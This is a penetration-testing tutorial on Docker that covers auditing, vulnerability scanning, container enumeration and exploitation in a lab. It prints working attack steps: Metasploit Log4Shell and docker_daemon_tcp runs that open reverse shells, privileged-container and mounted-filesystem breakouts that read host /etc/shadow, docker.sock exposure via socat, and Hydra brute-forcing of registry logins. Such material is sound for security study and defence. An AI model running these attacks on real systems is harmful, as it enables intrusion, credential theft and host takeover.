INFRASTRUCTURE

Docker Penetration Testing

2022 bordergate

Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called **containers**.

A Docker **image** packages up the application and the environment required by the application to run, and a **container** is a running instance of the image.

Docker images can be created using a **Dockerfile**. This is a script that defines what software is required to build the image.

This article covers some things to look for when performing penetration testing against a Docker system. The article is divided into four sections;

- Docker Basics
- Security Auditing
- Exploitation
- Docker Registry

Docker Basics

I'm using an Ubuntu 22.04 host operating system for these examples. Docker can be installed on the system using;

```
sudo apt install docker.io
```

To get started, download a Kali Linux container using the **docker pull** command:

```
sudo docker pull kalilinux/kali-rolling
Using default tag: latest
latest: Pulling from kalilinux/kali-rolling
Digest: sha256:fc35f7b0cd9bc1139a6409a2afa7c7a5857cd7ce7f990645a83e8e5294a1a3
Status: Image is up to date for kalilinux/kali-rolling:latest
docker.io/kalilinux/kali-rolling:latest
```

The default Kali Docker image does not come with any pentest tools installed. Let's login to the container and install them:

```
sudo docker run -ti kalilinux/kali-rolling /bin/bash
┌──(root㉿ea60440172f2)-[/]
└─# apt update && apt -y install kali-linux-headless
```

Docker container storage is ephemeral. To save the changes we made to the container, we need to commit them to a new image:

```
sudo docker ps
CONTAINER ID   IMAGE                     COMMAND                  CREATED
ea60440172f2   kalilinux/kali-rolling    "/bin/bash"              16 minutes ag
sudo docker commit ea60440172f2 kali_tools_installed
sha256:edbfc7afee6dbb30540ac2f0b18e2a95614ac1ea21a3c9587bf239883b191964
sudo docker run -it kali_tools_installed /bin/bash
```

Another method of creating a container image is using a Dockerfile. This is a text file that contains commands to build the image.

```
cat Dockerfile
#Dockerfile contents
FROM kalilinux/kali-rolling
MAINTAINER bordergate "bordergate"

RUN apt-get update \
    && apt-get install -y openssh-server \
    && mkdir /var/run/sshd \
    && sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /et
    && sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /et
    && sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config \
    && echo 'root:toor' | chpasswd

RUN service ssh start

EXPOSE 22

CMD ["/usr/sbin/sshd", "-D"]
```

The following commands will build the image, then run a container we can SSH into:

```
sudo docker build -t kali_ssh .
sudo docker run -d -p 2022:22 kali_ssh
ssh root@localhost -p 2022
```

Other useful commands include;

```
docker images                           # list images
docker ps                               # list running containers
docker ps -a                            # list all containers (including stopp
docker exec -it e67afa452015 /bin/bash  # Execute a Bash shell in container II
```

Security Auditing

CIS Benchmarks Host Auditing

The Center for Internet Security (CIS) provide a set of security focused configuration guidelines for common software. For Docker, there are a set of 117 criteria evaluated as part of the benchmark. These checks apply to the host system running Docker, rather than the containers.

Performing an audit based on CIS benchmarks manually is an arduous task. Luckily, there is a tool to automate these checks; docker-bench-security.

Running a scan using the tool shows a number of deviations from best practice:

```
sudo sh docker-bench-security.sh
[sudo] password for user:
# ------------------------------------------------------------------------------
# Docker Bench for Security v1.3.6
#
# Docker, Inc. (c) 2015-2022
#
# Checks for dozens of common best-practices around deploying Docker containe
# Based on the CIS Docker Benchmark 1.4.0.
# ------------------------------------------------------------------------------

Section A - Check results

[INFO] 1 - Host Configuration
[INFO] 1.1 - Linux Hosts Specific Configuration
[WARN] 1.1.1 - Ensure a separate partition for containers has been created (A
[INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon
[WARN] 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated
[WARN] 1.1.4 - Ensure auditing is configured for Docker files and directories
[WARN] 1.1.5 - Ensure auditing is configured for Docker files and directories
[WARN] 1.1.6 - Ensure auditing is configured for Docker files and directories
[WARN] 1.1.7 - Ensure auditing is configured for Docker files and directories
[INFO] 1.1.8 - Ensure auditing is configured for Docker files and directories
[WARN] 1.1.9 - Ensure auditing is configured for Docker files and directories
[INFO] 1.1.10 - Ensure auditing is configured for Docker files and directorie
```

Scanning Containers for Known Software Vulnerabilities

We can save a container to a file, and copy it to another system for analysis:

```
docker save -o kali_ssh.tar kali_ssh
docker load &lt; kali_ssh.tar
```

The image can then be scanned for known vulnerabilities using https://github.com/anchore/grype

```
grype ghcr.io/christophetd/log4shell-vulnerable-app
Vulnerability DB        [no update available]
Loaded image
Parsed image
Cataloged packages      [104 packages]
Scanned image           [486 vulnerabilities]
NAME                INSTALLED    FIXED-IN     TYPE          VULNERABILITY
busybox             1.28.4-r2                 apk           CVE-2021-42379
busybox             1.28.4-r2                 apk           CVE-2021-42386
busybox             1.28.4-r2                 apk           CVE-2021-42374
busybox             1.28.4-r2                 apk           CVE-2019-5747
busybox             1.28.4-r2                 apk           CVE-2018-1000517
freetype            2.9.1-r1                  apk           CVE-2022-27404
freetype            2.9.1-r1                  apk           CVE-2022-27406
freetype            2.9.1-r1                  apk           CVE-2022-27405
freetype            2.9.1-r1                  apk           CVE-2020-15999
jackson-databind    2.13.0                    java-archive  CVE-2020-36518
jackson-databind    2.13.0       2.13.2.1     java-archive  GHSA-57j2-w4cx-62h
krb5-libs           1.15.3-r0    1.15.4-r0    apk           CVE-2018-20217
libbz2              1.0.6-r6     1.0.6-r7     apk           CVE-2019-12900
libcom_err          1.44.2-r0    1.44.2-r1    apk           CVE-2019-5094
libcom_err          1.44.2-r0    1.44.2-r2    apk           CVE-2019-5188
libjpeg-turbo       1.5.3-r3     1.5.3-r6     apk           CVE-2019-2201
libjpeg-turbo       1.5.3-r3                  apk           CVE-2020-17541
libjpeg-turbo       1.5.3-r3                  apk           CVE-2021-46822
libjpeg-turbo       1.5.3-r3     1.5.3-r5     apk           CVE-2018-14498
libpng              1.6.34-r1    1.6.37-r0    apk           CVE-2018-14550
libpng              1.6.34-r1    1.6.37-r0    apk           CVE-2018-14048
libpng              1.6.34-r1    1.6.37-r0    apk           CVE-2019-7317
libtasn1            4.13-r0      4.14-r0      apk           CVE-2018-1000654
log4j-api           2.14.1                    java-archive  CVE-2021-45105
log4j-api           2.14.1                    java-archive  CVE-2021-44832
log4j-core          2.14.1                    java-archive  CVE-2021-45105
log4j-core          2.14.1       2.17.1       java-archive  GHSA-8489-44mv-ggj
log4j-core          2.14.1       2.16.0       java-archive  GHSA-7rjr-3q55-vv3
log4j-core          2.14.1                    java-archive  CVE-2021-44832
log4j-core          2.14.1       2.15.0       java-archive  GHSA-jfh8-c2jp-5v3
log4j-core          2.14.1                    java-archive  CVE-2021-45046
log4j-core          2.14.1                    java-archive  CVE-2021-44228
log4j-core          2.14.1       2.17.0       java-archive  GHSA-p6xc-xr62-6r2
log4j-jul           2.14.1                    java-archive  CVE-2021-45046
openjdk8            8.181.13-r0  8.252.09-r0  apk           CVE-2020-2800
```

Container Enumeration

CDK is a penetration testing toolkit for containers. The software can be downloaded from here; https://github.com/cdk-team/CDK. CDK performs a number of checks on a container to determine if there are any common misconfigurations an attacker could abuse to elevate their privileges.

Running the script shows the docker instance has dangerous capabilities allocated:

```
┌──(root㉿04e252595b47)-[~]
└─# ./cdk_linux_amd64 eva --full

```

```
[Information Gathering - System Info]
2022/07/17 12:39:15 current dir: /root
2022/07/17 12:39:15 current user: root uid: 0 gid: 0 home: /root
2022/07/17 12:39:15 hostname: 04e252595b47
2022/07/17 12:39:15 debian debian kali-rolling kernel: 5.15.0-41-generic

[Information Gathering - Services]
2022/07/17 12:39:15 sensitive env found:
    SSH_CONNECTION=172.17.0.1 58152 172.17.0.3 22
2022/07/17 12:39:15 sensitive env found:
    SSH_CLIENT=172.17.0.1 58152 22
2022/07/17 12:39:15 sensitive env found:
    SSH_TTY=/dev/pts/0
2022/07/17 12:39:15 service found in process:
    1   0   sshd
2022/07/17 12:39:15 service found in process:
    7   1   sshd

[Information Gathering - Commands and Capabilities]
2022/07/17 12:39:15 available commands:
    wget,find,ps,apt,dpkg,ssh,capsh,mount,base64,perl
2022/07/17 12:39:15 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapA
    CapInh: 0000003ffffffffff
    CapPrm: 0000003ffffffffff
    CapEff: 0000003ffffffffff
    CapBnd: 0000003ffffffffff
    CapAmb: 0000000000000000
    Cap decode: 0x0000003ffffffffff = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_DAC_READ_
    Add capability list: CAP_DAC_READ_SEARCH,CAP_LINUX_IMMUTABLE,CAP_NET_BROA
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run c
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel r
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mo
Critical - Possible Privileged Container Found.

[Information Gathering - Mounts]

[Information Gathering - Net Namespace]
    container net namespace isolated.

[Information Gathering - Sysctl Variables]
2022/07/17 12:39:15 net.ipv4.conf.all.route_localnet = 1
2022/07/17 12:39:15 You may be able to access the localhost service of the cu

[Discovery - K8s API Server]
2022/07/17 12:39:15 checking if api-server allows system:anonymous request.
err found while searching local K8s apiserver addr.:
err: cannot find kubernetes api host in ENV
    api-server forbids anonymous request.
    response:

[Discovery - K8s Service Account]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or dir

[Discovery - Cloud Provider Metadata API]
2022/07/17 12:39:16 failed to dial Alibaba Cloud API.
2022/07/17 12:39:17 failed to dial Azure API.
2022/07/17 12:39:17 failed to dial Google Cloud API.

[Information Gathering - Sensitive Files]
```

```
    .dockerenv - /.dockerenv
    /.bashrc - /etc/skel/.bashrc
    /.bashrc - /etc/skel/.bashrc.original
    /.bashrc - /root/.bashrc
    /.bashrc - /root/.bashrc.original
    /.bashrc - /usr/share/kali-defaults/etc/skel/.bashrc

[Information Gathering - ASLR]
2022/07/17 12:39:20 /proc/sys/kernel/randomize_va_space file content: 2
2022/07/17 12:39:20 ASLR is enabled.

[Information Gathering - Cgroups]
2022/07/17 12:39:20 /proc/1/cgroup file content:
    0::/
2022/07/17 12:39:20 /proc/self/cgroup file added content (compare pid 1) :
```

Exploitation

Initial Access

Docker containers typically run a single service that is exposed to the outside world. Most of the time this is a web server. We can run a docker image containing a vulnerable version of Log4J (CVE-2021-44228) to demonstrate this:

```
sudo docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/
```

Next, we use Metasploit to gain a shell on the system:

```
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > use exploit/multi/http/log
[*] Using configured payload java/shell_reverse_tcp
msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.1.13
RHOSTS => 192.168.1.133
msf6 exploit(multi/http/log4shell_header_injection) > set LHOST eth0
LHOST => 192.168.1.146
msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST eth0
SRVHOST => 192.168.1.146
msf6 exploit(multi/http/log4shell_header_injection) > run
[*] Started reverse TCP handler on 192.168.1.146:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 192.168.1.133:8080    - Log4Shell found via / (header: X-Api-Version) (os
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Serving Java code on: http://192.168.1.146:8080/MTh9cWCxceLKp.jar
[*] Command shell session 2 opened (192.168.1.146:4444 -> 192.168.1.133:44344
[*] Server stopped.
```

There are a few ways we can determine we're inside a docker container. The root directory will contain a dockerenv file, and the IP address for the system is within the default Docker range of 172.17.0.0/16. In addition, we're running as root but the shadow file does not contain any passwords;

```
ls -la /
total 64
drwxr-xr-x    1 root     root          4096 Jul 22 08:04 .
drwxr-xr-x    1 root     root          4096 Jul 22 08:04 ..
-rwxr-xr-x    1 root     root             0 Jul 22 08:04 .dockerenv
drwxr-xr-x    1 root     root          4096 Dec 10  2021 app
drwxr-xr-x    2 root     root          4096 Dec 20  2018 bin
drwxr-xr-x    5 root     root           340 Jul 22 08:04 dev
drwxr-xr-x    1 root     root          4096 Jul 22 08:04 etc
drwxr-xr-x    2 root     root          4096 Dec 20  2018 home
drwxr-xr-x    1 root     root          4096 Dec 21  2018 lib
drwxr-xr-x    5 root     root          4096 Dec 20  2018 media
drwxr-xr-x    2 root     root          4096 Dec 20  2018 mnt
dr-xr-xr-x  511 root     root             0 Jul 22 08:04 proc
drwx------    2 root     root          4096 Dec 20  2018 root
drwxr-xr-x    2 root     root          4096 Dec 20  2018 run
drwxr-xr-x    2 root     root          4096 Dec 20  2018 sbin
drwxr-xr-x    2 root     root          4096 Dec 20  2018 srv
dr-xr-xr-x   13 root     root             0 Jul 22 08:04 sys
drwxrwxrwt    1 root     root          4096 Jul 22 08:08 tmp
drwxr-xr-x    1 root     root          4096 Dec 21  2018 usr
drwxr-xr-x    1 root     root          4096 Dec 20  2018 var
cat /proc/1/cgroup
0::/
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
19: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueu
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)
cat /etc/shadow
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
```

```
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
postgres:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
```

Privileged Container Breakout

Containers can be started with the “–privileged” flag. Doing so allows the container to access host resources, and as such is not advised. If we start our container without this flag, we can see the number of devices available is limited when we log into the container:

```
┌──(root㉿795d76510026)-[~]
└─# ls -la /dev/
total 4
drwxr-xr-x 5 root root  340 Jul 17 10:26 .
drwxr-xr-x 1 root root 4096 Jul 17 10:26 ..
lrwxrwxrwx 1 root root   11 Jul 17 10:26 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Jul 17 10:26 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Jul 17 10:26 full
drwxrwxrwt 2 root root   40 Jul 17 10:26 mqueue
crw-rw-rw- 1 root root 1, 3 Jul 17 10:26 null
lrwxrwxrwx 1 root root    8 Jul 17 10:26 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Jul 17 10:26 pts
crw-rw-rw- 1 root root 1, 8 Jul 17 10:26 random
drwxrwxrwt 2 root root   40 Jul 17 10:26 shm
lrwxrwxrwx 1 root root   15 Jul 17 10:26 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Jul 17 10:26 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Jul 17 10:26 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root root 5, 0 Jul 17 10:26 tty
crw-rw-rw- 1 root root 1, 9 Jul 17 10:26 urandom
crw-rw-rw- 1 root root 1, 5 Jul 17 10:26 zero
```

Next, we start the same container with privileged mode enabled:

```
sudo docker run --privileged -d -p 2022:22 kali_ssh
```

Logging in again we can see that the hosts disk drives are available:

```
┌──(root㉿8987b5cec434)-[~]
└─# ls -la /dev/sd*
brw-rw---- 1 root disk 8,  0 Jul 17 10:27 /dev/sda
brw-rw---- 1 root disk 8,  1 Jul 17 10:27 /dev/sda1
brw-rw---- 1 root disk 8,  2 Jul 17 10:27 /dev/sda2
brw-rw---- 1 root disk 8,  5 Jul 17 10:27 /dev/sda5
brw-rw---- 1 root disk 8,  6 Jul 17 10:27 /dev/sda6
```

```
brw-rw---- 1 root disk 8, 16 Jul 17 10:27 /dev/sdb
brw-rw---- 1 root disk 8, 17 Jul 17 10:27 /dev/sdb1
```

We can mount the hosts disks and read files:

```
┌──(root㉿8987b5cec434)-[/tmp]
└─# mount -r /dev/sdb1 /tmp/mountpoint/

┌──(root㉿8987b5cec434)-[/tmp]
└─# cd mountpoint/

┌──(root㉿8987b5cec434)-[/tmp/mountpoint]
└─# ls
SecretFiles
```

Overly Permissive Host Filesystem Access

When starting a Docker image, you can specify portions of the hosts filesystem to be accessible within the container. For instance, the below command maps the root filesystem of the host to /hostfs in the container:

```
sudo docker run -v /:/hostfs -d -p 2022:22 kali_ssh
```

An attacker who compromised the container could then read sensitive files on the host:

```
┌──(root㉿207ea9779213)-[/hostfs]
└─# cat /hostfs/etc/shadow
root:!:18829:0:99999:7:::
daemon:*:18667:0:99999:7:::
bin:*:18667:0:99999:7:::
sys:*:18667:0:99999:7:::
sync:*:18667:0:99999:7:::
games:*:18667:0:99999:7:::
man:*:18667:0:99999:7:::
```

UNIX Socket Exposure

Some applications which are used to manage container clusters require access to /var/run/docker.sock from inside the container they reside in. E.g:

```
sudo docker run -v /var/run/docker.sock:/var/run/docker.sock -d -p 2022:22 kal
```

This presents a security risk. An attacker can use the UNIX socket (docker.sock) file to send commands to the Docker server process.

We can query the pipe locally using **curl**:

```
curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/contai
HTTP/1.1 200 OK
Api-Version: 1.41
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/20.10.12 (linux)
Date: Thu, 21 Jul 2022 17:06:46 GMT
Transfer-Encoding: chunked

[{"Id":"5e98d0619eb58b1dac2941b7f60fe30e1cd1984a5b2aefdff71d77d18060c077","N
```

socat can be used to expose the pipe to make the pipe network accessible:

```
socat TCP-LISTEN:2376,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
```

In addition, an attacker could copy a statically linked version of the docker command to the compromised container and use that to create new containers:

```
┌──(root㉿5e98d0619eb5)-[~]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5e98d0619eb5 kali_ssh "/usr/sbin/sshd -D" 20 minutes ago Up 20 minutes 0.0.0.
2eb8997b4c42 registry:2 "/entrypoint.sh /etc…" 2 hours ago Up 2 hours 0.0.0.0
```

Linux Capability Exploitation

Linux capabilities allow standard user processes to perform certain functions which are normally reserved for the root user. The **capsh** command can be used to review currently allocated capabilities:

```
┌──(root㉿04e252595b47)-[~]
└─# capsh --print | grep "Current IAB"
Current IAB: cap_chown,cap_dac_override,cap_dac_read_search
```

In this instance, our docker container has been allocated **cap_dac_read_search**. Looking at the **man** page for this capability, we can see it allows the container to bypass host filesystem permissions, and read any file:

> **CAP_DAC_READ_SEARCH**
>
> ***Bypass file read permission checks and directory read and execute permission checks**

We can exploit this issue using **CDK** to gain access to the hosts /etc/shadow file:

```
┌──(root㉿04e252595b47)-[~]
└─# ./cdk_linux_amd64 run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
root:!:18829:0:99999:7:::
daemon:*:18667:0:99999:7:::
bin:*:18667:0:99999:7:::
sys:*:18667:0:99999:7:::
sync:*:18667:0:99999:7:::
games:*:18667:0:99999:7:::
man:*:18667:0:99999:7:::
lp:*:18667:0:99999:7:::
mail:*:18667:0:99999:7:::
news:*:18667:0:99999:7:::
uucp:*:18667:0:99999:7:::
proxy:*:18667:0:99999:7:::
www-data:*:18667:0:99999:7:::
backup:*:18667:0:99999:7:::
```

Docker API Exposure

By default, containers can communicate with other containers on the same network, and the host machine. With a compromised docker container, it may be possible to upload additional tools to scan and attack other hosts on the network.

To enable the docker API, edit /usr/lib/systemd/system/docker.service and add the “H” flag to make the API accessible:

```
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.s
```

By making a GET request to /version discover information related to the container host:

```
curl http://127.0.0.1:2375/version | json_pp
{
   "ApiVersion" : "1.41",
   "Arch" : "amd64",
   "BuildTime" : "2022-03-07T15:57:50.000000000+00:00",
   "Components" : [
      {
         "Details" : {
            "ApiVersion" : "1.41",
            "Arch" : "amd64",
            "BuildTime" : "2022-03-07T15:57:50.000000000+00:00",
            "Experimental" : "false",
            "GitCommit" : "20.10.12-0ubuntu4",
            "GoVersion" : "go1.17.3",
            "KernelVersion" : "5.15.0-41-generic",
            "MinAPIVersion" : "1.12",
            "Os" : "linux"
         },
```

```
            "Name" : "Engine",
            "Version" : "20.10.12"
         },
         {
            "Details" : {
               "GitCommit" : ""
            },
            "Name" : "containerd",
            "Version" : "1.5.9-0ubuntu3"
         },
         {
            "Details" : {
               "GitCommit" : ""
            },
            "Name" : "runc",
            "Version" : "1.1.0-0ubuntu1"
         },
         {
            "Details" : {
               "GitCommit" : ""
            },
            "Name" : "docker-init",
            "Version" : "0.19.0"
         }
      ],
      "GitCommit" : "20.10.12-0ubuntu4",
      "GoVersion" : "go1.17.3",
      "KernelVersion" : "5.15.0-41-generic",
      "MinAPIVersion" : "1.12",
      "Os" : "linux",
      "Platform" : {
         "Name" : ""
      },
      "Version" : "20.10.12"
   }
```

We can upload our Kali SSH Docker onto the system, and start it in privileged mode;

```
sudo docker -H 192.168.1.133:2375 load &lt; kali_ssh.tar
Loaded image: kali_ssh:latest
sudo docker -H 192.168.1.133:2375 run --privileged -d -p 2022:22 kali_ssh
e67afa452015d8bb482d3d4c4282e2708831c28193a6cd5eceef74acf0b38c32
```

Once the image is uploaded, we should be able to SSH to our newly created Docker system and exploit it’s privileges to read the host systems shadow file:

```
ssh root@192.168.1.133 -p 2022
root@192.168.1.133's password:
┌──(Message from Kali developers)
│
│ This is a minimal installation of Kali Linux, you likely
│ want to install supplementary tools. Learn how:
│ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
│
└──(Run: “touch ~/.hushlogin” to hide this message)
┌──(root㉿e67afa452015)-[~]
└─# ./cdk_linux_amd64 run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
```

```
root:!:18829:0:99999:7:::
daemon:*:18667:0:99999:7:::
bin:*:18667:0:99999:7:::
sys:*:18667:0:99999:7:::
```

This can also be automated using Metasploit **docker_daemon_tcp** module:

```
msf6 > use exploit/linux/http/docker_daemon_tcp
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/docker_daemon_tcp) > set RHOSTS 192.168.1.133
RHOSTS => 192.168.1.133
msf6 exploit(linux/http/docker_daemon_tcp) > run

[*] Started reverse TCP handler on 192.168.1.146:4444
[*] Trying to pulling image from docker registry, this may take a while
[*] The docker container is created, waiting for deploy
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Sending stage (3020772 bytes) to 192.168.1.133
[+] Deleted /etc/cron.d/ZZwBWZXU
[+] Deleted /tmp/GVqDuBbe
[*] Meterpreter session 1 opened (192.168.1.146:4444 -> 192.168.1.133:46398 )
```

Exploiting Known Software Vulnerabilities

Docker containers run in the context of host systems Kernel. This means it may be possible to exploit Kernel vulnerabilities to take control of the host. However, most exploits are written under the assumption that the user only needs to elevate their privileges to root, rather than escape a container.

There have been instances of Docker vulnerabilities, such as CVE-2019-5736 which allow an attacker to escape a container. CVE-2022-0492 is probably the most recent example of a container escape vulnerability, although this is not applicable to AppArmor or SELinux enabled containers.

Docker Registry

A Docker Registry is a web service used to distribute Docker images. Curiously, a Registry is often run within a Docker container.

You can start a Registry with the following command:

```
sudo docker run -d -p 5000:5000 --restart=always --name registry registry:2
Unable to find image 'registry:2' locally
2: Pulling from library/registry
530afca65e2e: Pull complete
```

```
d450d4da0343: Pull complete
96277bea17b6: Pull complete
470ad04e03fb: Pull complete
bd3d4dc6e66f: Pull complete
Digest: sha256:c631a581c6152f5a4a141a974b74cf308ab2ee660287a3c749d88e0b536c0
Status: Downloaded newer image for registry:2
44f97a196f06611a629d1d4f17d848d39d986878e7cafe979429046c2833d73f
```

Check the Registry is running with:

```
sudo docker container ls
CONTAINER ID   IMAGE        COMMAND                  CREATED          STATUS
44f97a196f06   registry:2   "/entrypoint.sh /etc…"   18 minutes ago   Up 18 mi
```

Next download an image to put in the Registry:

```
sudo docker pull kalilinux/kali-rolling
Using default tag: latest
latest: Pulling from kalilinux/kali-rolling
81c3308c3ceb: Pull complete
Digest: sha256:fc35f7b0cd9bc1139a6409a2afa7c7a5857cd7ce7f990645a83e8e5294a1a35
Status: Downloaded newer image for kalilinux/kali-rolling:latest
docker.io/kalilinux/kali-rolling:latest
```

Then upload it to the repository:

```
sudo docker tag kalilinux/kali-rolling localhost:5000/my-kali
sudo docker push localhost:5000/my-kali
Using default tag: latest
The push refers to repository [localhost:5000/my-kali]
fa50bd10a15b: Pushed
latest: digest: sha256:2117301d61c9519cc5496aa78a8ef4e8462c2921e26d72fb4a6db3f
```

Registry Enumeration

Nmap can be used to identify a Registry web service:

```
nmap -sV -A -p 5000 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-17 16:30 BST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Stats: 0:00:31 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
```

Querying the site directly with **curl**, no output will be returned:

```
curl -s http://127.0.0.1:5000/
```

Adding /v2/ should return curly braces:

```
curl -s http://127.0.0.1:5000/v2/
{}
```

Making a request to /v2/_catalog should show which Docker images are available:

```
curl -s http://127.0.0.1:5000/v2/_catalog
{"repositories":["my-kali"]}
```

Registry Authentication

Authentication may be configured on a registry. To do this, first create a htpasswd file for authentication:

```
mkdir auth; sudo docker run   --entrypoint htpasswd   httpd:2 -Bbn admin admir
admin:$2y$05$H1Gka75EniWGeREf0oB3tOfjywMUj5VQt.7lWi/sfhU3jehkbnQAy
```

Next, create HTTPS certificates;

```
mkdir certs; openssl req \
  -newkey rsa:4096 -nodes -sha256 -keyout certs/domain.key \
  -addext "subjectAltName = DNS:registry.bordergate.local" \
  -x509 -days 365 -out certs/domain.crt
```

Finally, start the Registry container with the authentication file:

```
sudo docker run -d   -p 5000:5000   --restart=always   --name registry \
  -v "$(pwd)"/auth:/auth   -e "REGISTRY_AUTH=htpasswd"   -e \
"REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm"   -e \
REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd   -v "$(pwd)"/certs:/certs   -e\
REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt   -e \
REGISTRY_HTTP_TLS_KEY=/certs/domain.key   registry:2
```

Accessing the registry now requires using the Docker login command:

```
sudo docker login localhost:5000
Username: admin
Password:
WARNING! Your password will be stored unencrypted in /root/.docker/config.jsor
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded
```

As per the warning listed above, it's worth noting the plaintext (base64 encoded) registry credentials will be stored on disk when logging in using this method:

```
cat /root/.docker/config.json
```

```
{
"auths": {
"localhost:5000": {
"auth": "YWRtaW46YWRtaW4="
}
}
```

Registry Authentication Brute Force

Since authentication is just standard Basic Authentication, we can brute force it with Hydra:

```
hydra -l admin -P /usr/share/wordlists/fasttrack.txt 192.168.1.133 -s 5000 htt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-17 13:
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:22
[DATA] attacking http-gets://192.168.1.133:5000/v2/
[5000][http-get] host: 192.168.1.133   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-17 13:
```

DockerGraber.py can then be used to download the images from the Registry:

```
python3 DockerGraber.py -p 5000 --dump_all http://127.0.0.1
[+]=========================================================[+]
[|]    Docker Registry Grabber v1       @SyzikSecu       [|]
[+]=========================================================[+]

[+] my-kali
[+] BlobSum found 9
[+] Dumping my-kali
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : 81c3308c3ceb8aa622f35b17dab173957aa27785509e2a4aa69276
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c
```

The downloaded image files can then be explored to determine if any credentials or sensitive information are stored in the contains. Modifications to a Docker image can be reviewed using the docker **history** command. This generally shows modifications to the images Dockerfile:

```
sudo docker history localhost:5000/my-kali
IMAGE          CREATED      CREATED BY                                      S
1fe825e92039   3 days ago   CMD ["bash"]                                    (
&lt;missing>      3 days ago   ADD kali-rolling-amd64.tar.xz / # buildkit
&lt;missing>      3 days ago   LABEL org.opencontainers.image.created=2022-…
&lt;missing>      3 days ago   ARG RELEASE_DESCRIPTION
&lt;missing>      3 days ago   ARG TARBALL
